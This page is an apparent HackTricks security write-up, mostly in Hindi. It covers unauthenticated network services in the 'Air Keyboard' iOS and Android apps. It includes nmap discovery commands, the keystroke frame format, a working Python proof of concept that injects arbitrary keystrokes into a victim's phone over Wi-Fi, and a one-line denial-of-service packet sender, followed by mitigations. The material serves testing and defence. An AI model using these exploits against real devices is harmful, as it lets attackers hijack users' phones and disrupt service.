Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
TL;DR
iOS संस्करण का वाणिज्यिक "Air Keyboard" एप्लिकेशन (App Store ID 6463187929) पोर्ट 8888 पर एक स्पष्ट-टेक्स्ट TCP सेवा खोलता है जो कोई प्रमाणीकरण किए बिना कीस्ट्रोक फ़्रेम स्वीकार करता है।
एक ही Wi-Fi नेटवर्क पर कोई भी डिवाइस उस पोर्ट से कनेक्ट कर सकता है और पीड़ित के फोन में मनचाहा कीबोर्ड इनपुट इंजेक्ट कर सकता है, जिससे पूर्ण दूरस्थ इंटरैक्शन हाइजैकिंग प्राप्त होती है।
एक साथी Android बिल्ड पोर्ट 55535 पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है, लेकिन तैयार किया गया कचरा OpenSSL डिक्रिप्शन रूटीन में एक अनहैंडल्ड अपवाद का कारण बनता है, जिससे बैकग्राउंड सेवा क्रैश हो जाती है (DoS).
1. सेवा खोज
स्थानीय नेटवर्क को स्कैन करें और ऐप्स द्वारा उपयोग किए जाने वाले दो निश्चित पोर्ट की तलाश करें:
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Android हैंडसेट पर आप स्थानीय रूप से जिम्मेदार पैकेज की पहचान कर सकते हैं:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
2. फ्रेम प्रारूप (iOS)
बाइनरी handleInputFrame()
रूटीन के अंदर निम्नलिखित पार्सिंग लॉजिक को प्रकट करती है:
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
घोषित लंबाई में device_id
बाइट शामिल है लेकिन दो-बाइट हेडर स्वयं शामिल नहीं है।
3. Exploitation PoC
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
कोई भी प्रिंटेबल ASCII (जिसमें \n
, \r
, विशेष कुंजी, आदि शामिल हैं) भेजा जा सकता है, जिससे हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति मिलती है: ऐप्स लॉन्च करना, IM भेजना, फ़िशिंग URL पर जाना, आदि।
4. Android Companion – Denial-of-Service
Android पोर्ट (55535) एक 4-चरित्र पासवर्ड की अपेक्षा करता है जो hard-coded AES-128-ECB key के साथ एन्क्रिप्ट किया गया है, इसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ AES_decrypt()
में उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए, एक ही गलत पैकेट वैध उपयोगकर्ताओं को डिस्कनेक्टेड रखने के लिए पर्याप्त है जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता।
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. मूल कारण
- आगामी फ़्रेमों पर कोई मूल / अखंडता जांच (iOS)।
- क्रिप्टोग्राफिक दुरुपयोग (स्थिर कुंजी, ECB, लंबाई सत्यापन की कमी) और अपवाद प्रबंधन की कमी (Android)।
6. शमन और हार्डनिंग विचार
- कभी भी मोबाइल हैंडसेट पर बिना प्रमाणीकरण सेवाएँ न दिखाएँ।
- ऑनबोर्डिंग के दौरान प्रति-डिवाइस रहस्यों को निकालें और इनपुट प्रोसेसिंग से पहले उन्हें सत्यापित करें।
- श्रोता को
127.0.0.1
से बाइंड करें और दूरस्थ नियंत्रण के लिए आपसी प्रमाणीकरण, एन्क्रिप्टेड परिवहन का उपयोग करें (जैसे, TLS, Noise)। - मोबाइल सुरक्षा समीक्षाओं के दौरान अप्रत्याशित खुले पोर्ट का पता लगाएँ (
netstat
,lsof
,frida-trace
परsocket()
आदि)। - एक अंतिम उपयोगकर्ता के रूप में: Air Keyboard को अनइंस्टॉल करें या इसका उपयोग केवल विश्वसनीय, अलग Wi-Fi नेटवर्क पर करें।
पहचान चीट-शीट (Pentesters)
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
संदर्भ
- एयर कीबोर्ड iOS ऐप में रिमोट इनपुट इंजेक्शन कमजोरियों का अभी तक पैच नहीं हुआ
- CXSecurity सलाह WLB-2025060015
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।